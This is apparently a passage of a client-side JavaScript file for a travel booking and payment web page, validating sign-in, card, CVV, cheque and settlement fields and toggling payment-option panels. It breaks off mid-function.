var userSignInFlag=false;
var AutoSugRequest;
var CheckStatus=false;
function getHttpsUrl(form){
		var defaultAction=form.action;
		var urlToSet=document.getElementById("url").value;
		var parms=defaultAction.substring(defaultAction.indexOf("?")+1,defaultAction.length);
		urlToSet+="?"+parms;
		return urlToSet;
}

function continueToNextPanel(url){
		var userMobile=document.getElementById('userMobile');
		var userEmail=document.getElementById('userEmail');
		var empCode=document.getElementById('empCode');
		if(url!=undefined){
			if(isEmpty(empCode.value)){
				alert("Please enter employee code");
				empCode.focus();
				return false;
			}
		}
		if(!userSignInFlag){
			var userName=document.getElementById('userName');
			var userPassword=document.getElementById('userPassword');
		
			if(!isPass()||!isName()){
				
				accordion.showTabByIndex(1);
				return false;
			}
			if(isEmpty(userMobile.value)){
				alert("Please enter a value for mobile No");
				userMobile.focus();
				accordion.showTabByIndex(1);
				return false;
			}
			if(!checkPhoneNumber(userMobile.value)){
				accordion.showTabByIndex(1);
				userMobile.focus();
				return false;
			}
		}
	
		if(userSignInFlag){
			if(isEmpty(userMobile.value)){
				alert("Please enter a value for mobile No");
				userMobile.focus();
				accordion.showTabByIndex(1);
				return false;
			}
			if(!checkPhoneNumber(userMobile.value)){
				accordion.showTabByIndex(1);
				userMobile.focus();
				return false;
			}
					
			accordion.showTabByIndex(2);
			return true;
		}
	
		if(!userSignInFlag&&!checkVisitorSelection()){
			perform("REGISTER", empCode);	
		}
		if(userSignInFlag){
			accordion.showTabByIndex(2);	
			return true;
		}
	}

function removeDesc()
{
	var showDescA = document.getElementsByName('showDesc');
	
	//alert(showDescA.length);
		
		for(var i=0;i<showDescA.length;i++)
		{
			
			showDescA[i].innerHTML = '';
		//	alert(showDescA[i].style.display);
			showDescA[i].style.display='none';
			
		}
	
}


function checkPhoneNumber(phoneNo) { 
	
	if(isNaN(phoneNo)){
		alert("Phone should be numeric !!!");
		return false;
	}
	return true;

}

function toggleBankOptions(selectedOption){
	document.getElementById('pgType').value=selectedOption;

	//var paymentType=selectedOption.value;

	var paymentType = selectedOption;

	var ibankinginfo=document.getElementById('ibankingInfo');
	var creditcardinfo=document.getElementById('creditcardInfo');
	var chequeinfo=document.getElementById('chequeInfo');
	var hotelinfo=document.getElementById('hotelinfo');
	var eAgentInfo=document.getElementById('eAgentInfo');
	var cashCard=document.getElementById('cashCard');
	var rPayment=document.getElementById('rPayment');
	var pPayment=document.getElementById('pPayment');
	var amexImgDiv = document.getElementById("amexImgDiv");
    var visaImgDiv = document.getElementById("visaImgDiv");
	

	if(paymentType==0){

		creditcardinfo.style.display='block';
		ibankinginfo.style.display='none'; 
		chequeinfo.style.display='none';
		eAgentInfo.style.display='none';
		rPayment.style.display='none';
		cashCard.style.display='none';
		pPayment.style.display='none';
	}else if(paymentType==1){
		creditcardinfo.style.display='none';
		ibankinginfo.style.display='block';
		chequeinfo.style.display='none';		
		eAgentInfo.style.display='none';
		rPayment.style.display='none';
		cashCard.style.display='none';
		pPayment.style.display='none';
		visaImgDiv.style.display="none";	// visa image
		amexImgDiv.style.display="none";		// amex card image
		
	}else if(paymentType==2){
		creditcardinfo.style.display='none';
		ibankinginfo.style.display='none';
		chequeinfo.style.display='none';	
		eAgentInfo.style.display='none';
		rPayment.style.display='none';
		cashCard.style.display='none';
		pPayment.style.display='block';
		visaImgDiv.style.display="none";	// visa image
		amexImgDiv.style.display="none";		// amex card image

	}
	else if(paymentType==3){
		defaultInfo();
		creditcardinfo.style.display='none';
		ibankinginfo.style.display='none';
		chequeinfo.style.display='block';
		eAgentInfo.style.display='none';
		cashCard.style.display='none';
		rPayment.style.display='none';
		pPayment.style.display='none';
		visaImgDiv.style.display="none";	// visa image
		amexImgDiv.style.display="none";		// amex card image
		var totalChequeAmt=document.getElementById('totalChequeAmt');
		totalChequeAmt.innerHTML="<br/>Total Settlement Amount = "+document.getElementById('totalAmountToDisplay').value;
		//document.getElementById('chequeAmount').value=document.getElementById('totalAmountToDisplay').value;
	}else if(paymentType==7){
		creditcardinfo.style.display='none';
		ibankinginfo.style.display='none';
		chequeinfo.style.display='none';	
		eAgentInfo.style.display='none';
		rPayment.style.display='none';
		cashCard.style.display='none';
		pPayment.style.display='none';
		visaImgDiv.style.display="none";	// visa image
		amexImgDiv.style.display="none";		// amex card image
	}else if(paymentType==8){
		creditcardinfo.style.display='none';
		ibankinginfo.style.display='none';
		chequeinfo.style.display='none';
		eAgentInfo.style.display='none';
		rPayment.style.display='none';
		cashCard.style.display='none';
		pPayment.style.display='none';
		visaImgDiv.style.display="none";	// visa image
		amexImgDiv.style.display="none";		// amex card image
	} 
	else if(paymentType==4){
		creditcardinfo.style.display='none';
		ibankinginfo.style.display='none';
		chequeinfo.style.display='none';
		hotelinfo.style.display='block';
		rPayment.style.display='none';
		cashCard.style.display='none';
		pPayment.style.display='none';
		visaImgDiv.style.display="none";	// visa image
		amexImgDiv.style.display="none";		// amex card image
	} 
	else if(paymentType==7){

		creditcardinfo.style.display='none';
		ibankinginfo.style.display='none';
		chequeinfo.style.display='none';	
		eAgentInfo.style.display='none';
		rPayment.style.display='none';
		cashCard.style.display='none';
		pPayment.style.display='none';
		visaImgDiv.style.display="none";	// visa image
		amexImgDiv.style.display="none";		// amex card image
	}else if(paymentType==8){
		creditcardinfo.style.display='none';
		ibankinginfo.style.display='none';
		chequeinfo.style.display='none';
		eAgentInfo.style.display='none';
		rPayment.style.display='none';
		cashCard.style.display='none';
		pPayment.style.display='none';
		visaImgDiv.style.display="none";	// visa image
		amexImgDiv.style.display="none";		// amex card image
	}
	else if(paymentType==10){
	   enableChequeDeposit();
		creditcardinfo.style.display='none';
		ibankinginfo.style.display='none';
		chequeinfo.style.display='block';
		eAgentInfo.style.display='none'; 	
		rPayment.style.display='none';
		cashCard.style.display='none';
		pPayment.style.display='none';
		visaImgDiv.style.display="none";	// visa image
		amexImgDiv.style.display="none";		// amex card image
	}
	else if(paymentType==11){
		creditcardinfo.style.display='none';
		ibankinginfo.style.display='none';
		chequeinfo.style.display='none';	
		eAgentInfo.style.display='block';
		rPayment.style.display='none';
		cashCard.style.display='none';
		pPayment.style.display='none';
		visaImgDiv.style.display="none";	// visa image
		amexImgDiv.style.display="none";		// amex card image
	}else if(paymentType==12){
		

		creditcardinfo.style.display='none';
		ibankinginfo.style.display='none';
		chequeinfo.style.display='none';		
		eAgentInfo.style.display='none';
		rPayment.style.display='none';
		cashCard.style.display ='block';
		pPayment.style.display='none';
		visaImgDiv.style.display="none";	// visa image
		amexImgDiv.style.display="none";		// amex card image

	}else if(paymentType==13){
		
		creditcardinfo.style.display='none';
		ibankinginfo.style.display='none';
		chequeinfo.style.display='none';		
		eAgentInfo.style.display='none';
		cashCard.style.display='none';
		rPayment.style.display='block';
		pPayment.style.display='none';
		visaImgDiv.style.display="none";	// visa image
		amexImgDiv.style.display="none";		// amex card image
	}else{
	   
	}

}


function validateCardDetails(){

	
	var paymentType=document.getElementById('pgType').value;
	var pgID = "";
    if(document.getElementById('pgId')!=null)
    pgID=document.getElementById('pgId').value;
	var creditCard=false;
	var debitCard=false;
	var businessCard=false;
	var chequeCard=false;
	var hotelCard=false;
	var TCILShopUser=false;
	var chequeDeposit=false;
	var eAgentCard=false;
	var cashCard=false;
	var remotePayment=false;
	
	if(!paymentType=="")
	{
			if(paymentType==0){
				creditCard=true;
			}else if(paymentType==1){
				debitCard=true;
			}
			else if(paymentType==2){
				businessCard=true;
			}
			else if(paymentType==3){
				chequeCard=true;
			}else if(paymentType==7 || paymentType==8){
				TCILShopUser=true;
			}

			else if(paymentType==4){
				hotelCard=true;
			}
			else if(paymentType==7 || paymentType==8){
				TCILShopUser=true;
			}
			else if(paymentType==10){
				chequeDeposit=true;
			}
			else if(paymentType==11){
				eAgentCard=true;
			}
			else if(paymentType==12){
				cashCard=true;
			}
			else if(paymentType==13){
				remotePayment=true;
			}
	}else
	{	
		alert("Please select banking option !!!");	
		return false;
	}
	
	var accept=document.getElementById('accept');
	if(creditCard){
		
		if(!validateCreditCard()){
			return false;
		}
	}else if(debitCard){
		if(!validateDebitCard()){
			return false;
		}
	}else if (businessCard)
	{
		if(!validateBusinessCard()){
			return false;
		}	
	}else if (eAgentCard)
	{
		if(!validateEAgentCard()){
			return false;
		}	
	}	
	else if(chequeCard) {
		    if(!validateChequeCard()){
			return false;
		}
	}else if(hotelCard) {
		    if(!validateHotelCard()){
			return false;
		}
	 }else if(TCILShopUser){
		//For TCILShop User s
		
	}
	else if(chequeDeposit)
	{
	 if(!validateChequeCard())
			return false;
	}
	else if(cashCard){

		if(!validateCashCard())
		{
			return false;
		}
		document.getElementById('pgType').value='1'
	}
	else if(remotePayment){
			if(document.getElementById("userId").value==""){
		alert("Please enter the user id of remote user ");
			document.getElementById("userId").focus();
			return false;
			} 

	}
	else {
		
		alert("Please select banking option !!!");	
		return false;
	}
	
   if(!accept.checked){
	   alert("Please accept terms and conditions !!!");
	   accept.focus();	
	   return false;
   }
   return true;	 
}
function validateBusinessCard(){
	return true;
}

function validateEAgentCard(){
    var transPassword=document.getElementById('transPassword');
    var authRes=false;
   if(isEmpty(transPassword.value))

		{
			alert("Please enter Transaction Password to Proceed Booking !!");
	 		transPassword.focus();
	 		return false;
		}
		var ajaxResponse=authenticateEAgent(transPassword);
		if(ajaxResponse=='true')
		{ 
		     return true;



		}
		else
		{
		 var pwdAuthorized=document.getElementById('pwdVerified');
		 pwdAuthorized.innerHTML="<font color='red'><b>"+ajaxResponse+"</b></font>";

		 return false;
		 }
 		
	return true;

}

function validateHotelCard(){
	return true;
}

function validateCashCard()
{	
	
	var zipMobileNumber=document.getElementById('zipMobileNumber');
	if(document.getElementById('pgId').value=="16")
	{

		if(isEmpty(zipMobileNumber.value))
		{
				alert("Please enter the number");
		 		zipMobileNumber.focus();
		 		return false;
		}
		
		if(!isNumeric(zipMobileNumber.value,10))
		{	
			document.getElementById("zipMobileNumber").focus();
			return false;
		}
	}
	
	return true;
}

function validateChequeCard(){
 	var chequeNumber=document.getElementsByName('chequeNumber');
 	var chequeDate=document.getElementsByName('chequeDate');
 	var strIssuer=document.getElementById('strIssuer');
 	var empCode=document.getElementById('empCode');
 	var strDate=document.getElementsByName('strDate');
 	var strAmount=document.getElementById('strAmount');
	var chequeAmount=document.getElementsByName('chequeAmount');
 	var chequeBank=document.getElementsByName('chequeBank');
 	var cashAmount=document.getElementById('cashAmount');
 	var panDetails=document.getElementById('panDetails');
 	var BankTransAmount=document.getElementById('BankTransAmount');
 	var totalSettlementSelected=document.getElementById('totalSettlementSelected');
 	var fosTransAmount=document.getElementById('fosTransAmount');
 	var foscustNo=document.getElementById('fosCustNo');
 	var fosFileNo=document.getElementById('fosFileNo');
 	var minAmount=0;
 	var TotalAmount=0;
 	var TotalSettlementAmount=document.getElementById('totalAmountToDisplay').value;
 	var LowestAmountTransaction=document.getElementById('LowestAmountTransaction').value;
  	var chequeDateInstance=null;
 	var format="dd-mm-yyyy";
	var sep="-";
	var totalCheque=chequeNumber.length;
	var isRemote=document.getElementById('remotePayment').value; 
	
	if(settlementOption=="cash" || settlementOption=="cashCheque")
	{
		if(isEmpty(cashAmount.value))
		{
			alert("Please enter the value of Cash Amount");
	 		cashAmount.focus();
	 		return false;
		}
		TotalAmount=cashAmount.value;
		if(TotalAmount>=25000)
		{
			if(isEmpty(panDetails.value))
			{
				alert("Please enter Pan card details");
	 			panDetails.focus();
	 		return false;
			}
		}
	}
	
	if(settlementOption=="str")
	{	
	     if(isEmpty(strAmount.value))
		{
			alert("Please enter the value of Transfer Amount");
	 		cashAmount.focus();
	 		return false;
		} 
	     if(strDate[0].value==format){
			alert("Please enter a valid date !!!")
			strDate[0].focus();
			return false;
		}
	 	if(isEmpty(strDate[0].value)){
			alert("Please enter a valid  date !!!")
			strDate[0].focus();
			return false;
		} 
		if(isEmpty(strIssuer.value))
		{
			alert("Please enter the Issuer Name");
	 		strIssuer.focus();
	 		return false;
		}
		TotalAmount=strAmount.value;
	}
	if(settlementOption=="BankTrans")
	{	
	     if(isEmpty(BankTransAmount.value))
		{
			alert("Please enter the value of Transfer Amount");
	 		cashAmount.focus();
	 		return false;
		} 
	    if(strDate[0].value==format){
			alert("Please enter a valid date !!!")
			strDate[0].focus();
			return false;
		}
	 	if(isEmpty(strDate[0].value)){
			alert("Please enter a valid  date !!!")
			strDate[0].focus();
			return false;
		} 
		if(isEmpty(strIssuer.value))
		{
			alert("Please enter the Issuer Name");
	 		strIssuer.focus();
	 		return false;
		}
		TotalAmount=BankTransAmount.value;
	}
	
	if(settlementOption=="FosPayment")
	{	
	
	     if(isEmpty(fosTransAmount.value))
		{
			alert("Please enter the value of Fos Transfer Amount");
	 		fosTransAmount.focus();
	 		return false;
		} 
	    if(strDate[0].value==format){
			alert("Please enter a valid date !!!")
			strDate[0].focus();
			return false;
		}
	 	if(isEmpty(strDate[0].value)){
			alert("Please enter a valid  date !!!")
			strDate[0].focus();
			return false;
		} 
		if(isEmpty(foscustNo.value))
		{
			alert("Please enter the customer Name");
	 		foscustNo.focus();
	 		return false;
		}
		if(isEmpty(fosFileNo.value))
		{
			alert("Please enter the Fos File number");
	 		fosFileNo.focus();
	 		return false;
		}
		TotalAmount=fosTransAmount.value;
	}
	
	if(settlementOption=="OfflineBank")
	{	
	     if(isEmpty(BankTransAmount.value))
		{
			alert("Please enter the value of Transfer Amount");
	 		cashAmount.focus();
	 		return false;
		} 
	    if(strDate[0].value==format){
			alert("Please enter a valid date !!!")
			strDate[0].focus();
			return false;
		}
	 	if(isEmpty(strDate[0].value)){
			alert("Please enter a valid  date !!!")
			strDate[0].focus();
			return false;
		} 
		if(isEmpty(strIssuer.value))
		{
			alert("Please enter the Auth Code");
	 		strIssuer.focus();
	 		return false;
		}
		if(isEmpty(empCode.value))
		{
			alert("Please enter the GL Code");
	 		strIssuer.focus();
	 		return false;
		}
		TotalAmount=BankTransAmount.value;
	}
	if(settlementOption=="cheque" || settlementOption=="cashCheque")
	{
		for(var i=0;i<totalCheque;i++)
		{
	 		if(isEmpty(chequeNumber[i].value)){
	 		alert("Please enter the value of Cheque Number");
	 		chequeNumber[i].focus();
	 		return false;
	 	}
	 	if(chequeDate[i].value==format){
			alert("Please enter a valid cheque date !!!")
			chequeDate[i].focus();
			return false;
		}
		if(isEmpty(chequeDate[i].value)){
			alert("Please enter a valid cheque date !!!")
			chequeDate[i].focus();
			return false;
		}
	 	if(isEmpty(chequeAmount[i].value)){
	 	    chequeAmount[i].focus();
	 		alert("Please enter the value of Cheque Amount");
	 		return false;
	 	}
	 	
	 	if(isEmpty(chequeBank[i].value)){
	 		alert("Please enter the value of Cheque Bank");
	 		chequeBank[i].focus();
	 		return false;
	 	}
		
	 	var todayDate=new Date();
	 	var serverTodayDateArr=currentDate.split("/");
	 	todayDate.setFullYear(serverTodayDateArr[2],serverTodayDateArr[1]-1,serverTodayDateArr[0]);
	 	chequeDateInstance=new Date();
	 	var chequeDateArr=chequeDate[i].value.split(sep);
	    chequeDateInstance.setFullYear(chequeDateArr[2],chequeDateArr[1]-1,chequeDateArr[0]);
	    var sevenDaysBefore=todayDate.getTime()-(7*1000*24*60*60);
	 	var threeDaysAfter=todayDate.getTime()+(3*1000*24*60*60);
	 	var chequeDateTime=chequeDateInstance.getTime();
	 	if(chequeDateTime>=sevenDaysBefore&&chequeDateTime<=threeDaysAfter){}
	 	else {
	 		alert("Cheque date should be within 1 week earlier and 3 days after current date !!");
	 		chequeDate[i].focus();
	 		return false;
	 	}
		TotalAmount =parseInt(TotalAmount)+parseInt(chequeAmount[i].value);
	 	}
 
	}
 	//var MinSettlementAmount=(parseInt(TotalSettlementAmount)-parseInt(LowestAmountTransaction));
	//if(MinSettlementAmount>(parseInt(TotalAmount))){
	//	alert("Total Settlement Amount can't be less then  "+ MinSettlementAmount);
	//	return false;
	// }
	if(isRemote=='true')
	{
		document.getElementById('SettType').value="8";
		return true;
	}		
	 if(parseInt(totalSettlementSelected.value)>1 && parseInt(TotalSettlementAmount)>(parseInt(TotalAmount)))
	 {
	 alert("Total Settlement Amount can't be less then  "+ TotalSettlementAmount);
	 return false;
	 }
	 if(TotalAmount<1)
	 {
	 	 alert("Please enter the Amount");
	 	 return false;
	 }
	if(confirm("Reconfirm settlement amount :\nTo be settled - Rs."+TotalSettlementAmount+"\n You are settling now : Rs. "+TotalAmount)){
		return true;
	}else
	{
		return false;
	}

	return true;
}
function validateEACheque(){
 	
    var chequeNumber=document.getElementsByName('chequeNumber');
 	var chequeDate=document.getElementsByName('chequeDate');
 	var chequeAmount=document.getElementsByName('chequeAmount');
 	var chequeBank=document.getElementsByName('chequeBank');
 	var minAmount=0;
 	var TotalAmount=0;
  	var chequeDateInstance=null;
 	var format="dd-mm-yyyy";
	var sep="-";
	var totalCheque=chequeNumber.length;
	
		for(var i=0;i<totalCheque;i++)
		{
	 		if(isEmpty(chequeNumber[i].value)){
	 		alert("Please enter the value of Cheque Number");
	 		chequeNumber[i].focus();
	 		return false;
	 	}
	 	if(chequeDate[i].value==format){
			alert("Please enter a valid cheque date !!!")
			chequeDate[i].focus();
			return false;
		}
		if(isEmpty(chequeDate[i].value)){
			alert("Please enter a valid cheque date !!!")
			chequeDate[i].focus();
			return false;
		}
	 	if(isEmpty(chequeAmount[i].value)){
	 	    chequeAmount[i].focus();
	 		alert("Please enter the value of Cheque Amount");
	 		return false;
	 	}
	 	
	 	if(isEmpty(chequeBank[i].value)){
	 		alert("Please enter the value of Cheque Bank");
	 		chequeBank[i].focus();
	 		return false;
	 	}
		
	 	var todayDate=new Date();
	 	var serverTodayDateArr=currentDate.split("/");
	 	todayDate.setFullYear(serverTodayDateArr[2],serverTodayDateArr[1]-1,serverTodayDateArr[0]);
	 	chequeDateInstance=new Date();
	 	var chequeDateArr=chequeDate[i].value.split(sep);
	    chequeDateInstance.setFullYear(chequeDateArr[2],chequeDateArr[1]-1,chequeDateArr[0]);
	    var sevenDaysBefore=todayDate.getTime()-(7*1000*24*60*60);
	 	var threeDaysAfter=todayDate.getTime()+(3*1000*24*60*60);
	 	var chequeDateTime=chequeDateInstance.getTime();
	 	if(chequeDateTime>=sevenDaysBefore&&chequeDateTime<=threeDaysAfter){}
	 	else {
	 		alert("Cheque date should be within 1 week earlier and 3 days after current date !!");
	 		chequeDate[i].focus();
	 		return false;
	 	}
		TotalAmount =parseInt(TotalAmount)+parseInt(chequeAmount[i].value);
	 	}
 
	
 	var depositAmt=document.getElementById('depositAmt');
	 if(TotalAmount != depositAmt.value){
	 	alert("Total Cheque Amount must be equal to Amount to be deposited or recharged !!!");
		return false;
	 }

	return true;
}

function validateDebitCard(){

	var pgId = document.getElementById('pgId').value;
	var checked=false;
	

	if(pgId == ""){
		alert("Please select payment gateway!!");
		return false;
	}
	return true;
}
function validateCreditCard(){
	
	var cardType=document.getElementById('cardType');
	var cardNumber=document.getElementById('cardNumber');
	var expMonth=document.getElementById('expMonth');
	var expYear=document.getElementById('expYear');
	var cvv=document.getElementById('cvv');
	var clientServerPgId=document.getElementById('clientServerPgId');
	var bankID=document.getElementsByName('bankIDButton');
	
	
	var Cfname=document.getElementById('Cfname');
	var Clname=document.getElementById('Clname');
	var Cadd=document.getElementById('Cadd');
	var Czip=document.getElementById('Czip');

	var flag =  false;
	
	/*if(bankID.length)
	{
		for(var i=0;i<bankID.length;i++){

			if(bankID[i].checked){
				flag = true
			}
		}
	}
	else{
		if(bankID.checked){
				flag = true
			}
	}

    if(flag == false){
	 alert("Please select a bank")
	}*/
	
		//for ICICI PG


	
	if(clientServerPgId.value == "") 
	{
		alert("Please select a Bank for making a Credit or Debit Card Payment.");
		return false;
	}
		
	if(clientServerPgId.value==11||clientServerPgId.value==15)
	return true;
	
	if(clientServerPgId.value==0)
	{
		
		if(isEmpty(cardType.value)){
				
				alert("Please select a valid card type!!!");
				cardType.focus();
				return false;
			}
			
		if(cardType.value == -1){
		alert("Please select a valid card type!!!");
		cardType.focus();
		return false;
		}
		
		if(!validateCardNumber(cardNumber,"cityBank")){
			return false;
		}
		if(isEmpty(expMonth.value)){
			alert("Please select a value for expiry month!!");
			expMonth.focus();
			return false;
		}
		if(isEmpty(expYear.value)){
			alert("Please select a value for expiry year!!");
			expYear.focus();
			return false;
		}
		if(isEmpty(cvv.value))
		{
			alert("Please enter a value for cvv number!!");
			cvv.focus();
			return false;
		}
		if(isNaN(cvv.value)){
			alert("CVV number should be a numeric value!!!");
			cvv.focus();
			return false;
		}
		
		if(cvv.value.length<3||cvv.value.length>4){
			alert("CVV number length should be 3  or 4 digit!!!");
			cvv.focus();
			return false;
		}
		if(!citiValidate())
				return false;
		
	}
	
	if(clientServerPgId.value == 4) 
	{
		
			
			if(!validateCardNumber(cardNumber,"cityBank")){
				return false;
			}
			if(isEmpty(expMonth.value)){
				alert("Please select a value for expiry month!!");
				expMonth.focus();
				return false;
			}
			if(isEmpty(expYear.value)){
				alert("Please select a value for expiry year!!");
				expYear.focus();
				return false;
			}
			if(isEmpty(cvv.value))
			{
				alert("Please enter a value for cvv number!!");
				cvv.focus();
				return false;
			}
			if(isNaN(cvv.value)){
				alert("CVV number should be a numeric value!!!");
				cvv.focus();
				return false;
			}
			
			if(cvv.value.length<3||cvv.value.length>4){
				alert("CVV number length should be 3  or 4 digit!!!");
				cvv.focus();
				return false;
			}	
			
				if(!amexValidate())
				return false;
	}
	
	
	
		return true;

}

function validateCardNumber(cardNumber,bank){
	if(bank=='cityBank'){
		if(!validateCitybankCardNumber(cardNumber)){
			return false;
		}
	}
	return true; 
}
function validateCitybankCardNumber(cardNumber){
	if(cardNumber.value==""){
		alert("Please enter card details !!!");
		cardNumber.focus();
		return false;
	}
	else
			{
			   for (var l = 0; l < cardNumber.value.length; l++)  {
					var ch = cardNumber.value.substring(l, l + 1);				
					if ((ch < "0" || "9" < ch)){
						if((ch < "a" || "z" < ch || ch < "A" || "Z" < ch || ch != "_" || ch != "/" || ch!=" "|| ch != "*" || ch != "+" || ch != "-" || ch != "%" || ch != "^" || ch != "#" || ch != "@" || ch != "!" || ch != "$" || ch != "<" || ch != ">" || ch != ":")){
							alert("Card No Can accept Numbers \n 0 to 9, Character and \n special Characters are not allowed.");
							cardNumber.focus();
							return false;
						}
									
				}
		}
	}
	if(cardNumber.value.length<15||cardNumber.value.length>16){
		alert("Card number should be 15 or16 digits !!!");
		cardNumber.focus();
		return false;
	}

	return true; 
}



function isPass() 
{
	var userPassword=document.getElementById("userPassword");
	var password = userPassword.value;
	
	if ((password == "") || (password.length < 4)) 
	{
		alert("\nThe PASSWORD field is either empty or less than 4 chars.\n\nPlease re-enter your Password.")
		userPassword.focus();
		return false;
	}
	if((password.substring(0,1)<"a" || password.substring(0,1)>"z") && (password.substring(0,1)<"A" || password.substring(0,1)>"Z"))
	{
		alert("The password should begin with an alphabetic character.");
		userPassword.focus();	
		return false;
	}
	return true;
}

function isName() 
{
	var userName=document.getElementById("userName");
	var Name = userName.value;
	if (Name == "")
	{
		alert("\nThe User name field is blank .\n\nPlease re-enter your User name.")
		userName.focus();
		return false;
	}
	return true;
}

function emailCheck (id){

	var userEmail=document.getElementById(id);
	var emailStr=document.getElementById(id).value;
	var checkTLD=1;
	var knownDomsPat=/^(com|net|org|edu|int|mil|gov|arpa|biz|aero|name|coop|info|pro|museum)$/;
	var emailPat=/^(.+)@(.+)$/;
	var specialChars="\\(\\)><@,;:\\\\\\\"\\.\\[\\]";
	var validChars="\[^\\s" + specialChars + "\]";
	var quotedUser="(\"[^\"]*\")";
	var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/;
	var atom=validChars + '+';
	var word="(" + atom + "|" + quotedUser + ")";
	var userPat=new RegExp("^" + word + "(\\." + word + ")*$");
	var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$");
	var matchArray=emailStr.match(emailPat);
	if (matchArray==null) {
	alert("Email address seems incorrect (check @ and .'s)");
	return false;
	}
	var user=matchArray[1];
	var domain=matchArray[2];
	for (i=0; i<user.length; i++) {
	if (user.charCodeAt(i)>127) {
	alert("Ths username contains invalid characters.");
	return false;
	   }
	}
	for (i=0; i<domain.length; i++) {
	if (domain.charCodeAt(i)>127) {
	alert("Ths domain name contains invalid characters.");
	return false;
	   }
	}
	if (user.match(userPat)==null) {
	alert("The username doesn't seem to be valid.");
	return false;
	}
	var IPArray=domain.match(ipDomainPat);
	if (IPArray!=null) {
	for (var i=1;i<=4;i++) {
	if (IPArray[i]>255) {
	alert("Destination IP address is invalid!");
	return false;
	   }
	}
	return true;
	} 
	var atomPat=new RegExp("^" + atom + "$");
	var domArr=domain.split(".");
	var len=domArr.length;
	for (i=0;i<len;i++) {
	if (domArr[i].search(atomPat)==-1) {
	alert("The domain name does not seem to be valid.");
	return false;
	   }
}


if (checkTLD && domArr[domArr.length-1].length!=2 && 
domArr[domArr.length-1].search(knownDomsPat)==-1) {
alert("The address must end in a well-known domain or two letter " + "country.");
return false;
}
if (len<2) {
alert("This address is missing a hostname!");
return false;
}
return true;
}


function unLoadPage()

{	
	document.getElementById('outmostT').style.visibility = 'visible';

	var objOverlay = document.getElementById('popBank');
	var innerwait = document.getElementById('innerPopBankiv');
	
	 document.getElementById('outmostT').style.visibility='';
	objOverlay.style.display = 'none';
	innerwait.style.display = 'none';
	
}
function remoteSubmit()
{

var refundIdS=document.getElementsByName("refundIdS");
var isRemote=document.getElementById('remotePayment').value;
var formName=document.getElementById('formId').value;
var form=document.getElementById(formName);
document.getElementById('pgType').value='13';
 var isSelected=false;
	  if(isRemote=='true'){
	  	 for(var i=0;i<refundIdS.length;i++){
	       if(refundIdS[i].checked){
	       	 isSelected=true;
	       }
	     }
	     
	    if(!isSelected){
	     	alert("Please select at least one transaction !!");
	     	return false;
	     }
	  }
	  
if(isRemote=='true')
	{
	document.getElementById('SettType').value="8";
	loadWaitPage();
	form.method="post";
	form.submit();
	return true;
	}
}
function popBankPage()
{
	// code to call the wait page on search button
	//alert("pop_total_pay_amt=="+document.getElementById('pop_total_pay_amt').value);
	
//	alert("popBankPage")
   
    
	document.getElementById('outmostT').style.visibility = 'hidden';

	var objOverlay = document.getElementById('popBank');
	var innerwait = document.getElementById('innerPopBankiv');
	var objLoadingImage = document.getElementById('loadingImage');
	var arrayPageSize = getPageSize();
	var arrayPageScroll = getPageScroll();
	// center loadingImage if it exists
	if (objLoadingImage) {
		objLoadingImage.style.top = (arrayPageScroll[1] + ((arrayPageSize[3] - 35 - objLoadingImage.height) / 2) + 'px');
		objLoadingImage.style.left = (((arrayPageSize[0] - 20 - objLoadingImage.width) / 2) + 'px');
		objLoadingImage.style.display = 'block';
	}
	objOverlay.style.height = (arrayPageSize[1] + 'px');
	objOverlay.style.display = 'block';
	objOverlay.style.position = 'absolute';
	objOverlay.style.width = (arrayPageSize[0] + 'px');
	innerwait.style.display = 'block';
}

function loadWaitPage()
{
	// code to call the wait page on search button
	
	var objOverlay = document.getElementById('wait');
	var innerwait = document.getElementById('innerwait');
	var objLoadingImage = document.getElementById('loadingImage');
	var arrayPageSize = getPageSize();
	var arrayPageScroll = getPageScroll();
	// center loadingImage if it exists
	if (objLoadingImage) {
		objLoadingImage.style.top = (arrayPageScroll[1] + ((arrayPageSize[3] - 35 - objLoadingImage.height) / 2) + 'px');
		objLoadingImage.style.left = (((arrayPageSize[0] - 20 - objLoadingImage.width) / 2) + 'px');
		objLoadingImage.style.display = 'block';
	}
	objOverlay.style.height = (arrayPageSize[1] + 'px');
	objOverlay.style.display = 'block';
	objOverlay.style.position = 'absolute';
	objOverlay.style.width = (arrayPageSize[0] + 'px');
	innerwait.style.display = 'block';
	
}

function getPageSize(){
	
	var xScroll, yScroll;
	
	if (window.innerHeight && window.scrollMaxY) {	
		xScroll = document.body.scrollWidth;
		yScroll = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}
	
	var windowWidth, windowHeight;
	if (self.innerHeight) {	// all except Explorer
		windowWidth = self.innerWidth;
		windowHeight = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) { // other Explorers
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}	
	
	// for small pages with total height less then height of the viewport
	if(yScroll < windowHeight){
		pageHeight = windowHeight;
	} else { 
		pageHeight = yScroll;
	}

	// for small pages with total width less then width of the viewport
	if(xScroll < windowWidth){	
		pageWidth = windowWidth;
	} else {
		pageWidth = xScroll;
	}


	arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight) 
	return arrayPageSize;
}

function getPageScroll(){

	var yScroll;

	if (self.pageYOffset) {
		yScroll = self.pageYOffset;
	} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict
		yScroll = document.documentElement.scrollTop;
	} else if (document.body) {// all other Explorers
		yScroll = document.body.scrollTop;
	}

	arrayPageScroll = new Array('',yScroll) 
	return arrayPageScroll;
}


function paymentValidation()
{
	
	var paymentType=document.getElementById('pgType').value;
	
	
	var creditCard=false;
	var debitCard=false;
	var businessCard=false;
	var chequeCard=false;
	var hotelCard=false;
	var TCILShopUser=false;
	var chequeDeposit=false;
	var eAgentCard=false;
	var cashCard=false;
	var remotePayment=false;
	var pgId=document.getElementsByName("pgId");
	var chequeNumber=document.getElementsByName('chequeNumber');
	var chequeDate=document.getElementsByName('chequeDate');
